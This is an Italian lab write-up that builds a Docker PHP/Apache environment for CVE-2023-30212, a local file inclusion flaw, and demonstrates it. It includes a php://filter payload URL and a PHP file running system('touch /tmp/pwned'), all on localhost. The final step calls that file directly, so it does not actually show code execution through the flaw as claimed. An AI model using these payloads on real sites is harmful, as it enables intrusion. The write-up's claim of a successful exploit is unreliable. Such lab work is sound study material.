cve-2023-30212

PoC per CVE-2023-30212 usando Docker

Costruzione dell'ambiente CVE-2023-30212 e rapporto PoC

📌 Panoramica

Questo rapporto descrive la configurazione diretta di un ambiente web vulnerabile basato su Docker per la vulnerabilità CVE-2023-30212, non presente in Vulhub, e la dimostrazione della vulnerabilità tramite PoC.

• Numero CVE: CVE-2023-30212
• Descrizione della vulnerabilità: Possibilità di esecuzione di codice remoto tramite LFI (Local File Inclusion) in PHP
• Difficoltà: Avanzata (configurazione di ambiente non presente in Vulhub)

---

🔧 Configurazione dell'ambiente

1. Configurazione di Dockerfile e docker-compose

• Immagine base: php:8.1-apache
• Copia di vulnerable.php e malicious.php nella directory /var/www/html
• Accesso esterno tramite porta 8088

2. Descrizione dei file principali

Nome file	Descrizione
vulnerable.php	File PHP contenente la vulnerabilità LFI
malicious.php	File PHP malevolo che esegue comandi di sistema
docker-compose.yml	File di configurazione per il container
Dockerfile	File di configurazione per la creazione dell'immagine Docker

---

🚀 Flusso di esecuzione della vulnerabilità (PoC)

1. Avvio del container

docker-compose up -d

Nome del container: cve-2023-30212-cve-lfi-1

Il server Apache viene avviato ed è accessibile su http://localhost:8088

2. Verifica del sorgente del file malevolo tramite LFI

Chiamare il seguente URL per visualizzare il contenuto di malicious.php in forma codificata base64:

http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php

Decodificando l'output si ottiene il seguente codice PHP:

<?php system("touch /tmp/pwned"); ?>

3. Esecuzione del comando e verifica del risultato

Chiamare il seguente URL per eseguire effettivamente il comando:

http://localhost:8088/malicious.php

Dopo l'esecuzione del comando, dovrebbe essere creato il file /tmp/pwned.

docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

Se il file pwned è presente nell'output, il test è riuscito.

Riepilogo dei risultati

• Visualizzazione e decodifica riuscite del contenuto del file malevolo tramite la vulnerabilità LFI basata su php://filter
• Esecuzione riuscita di comandi arbitrari tramite la chiamata al file PHP malevolo contenente la funzione system()
• Creazione del file /tmp/pwned che conferma il successo del PoC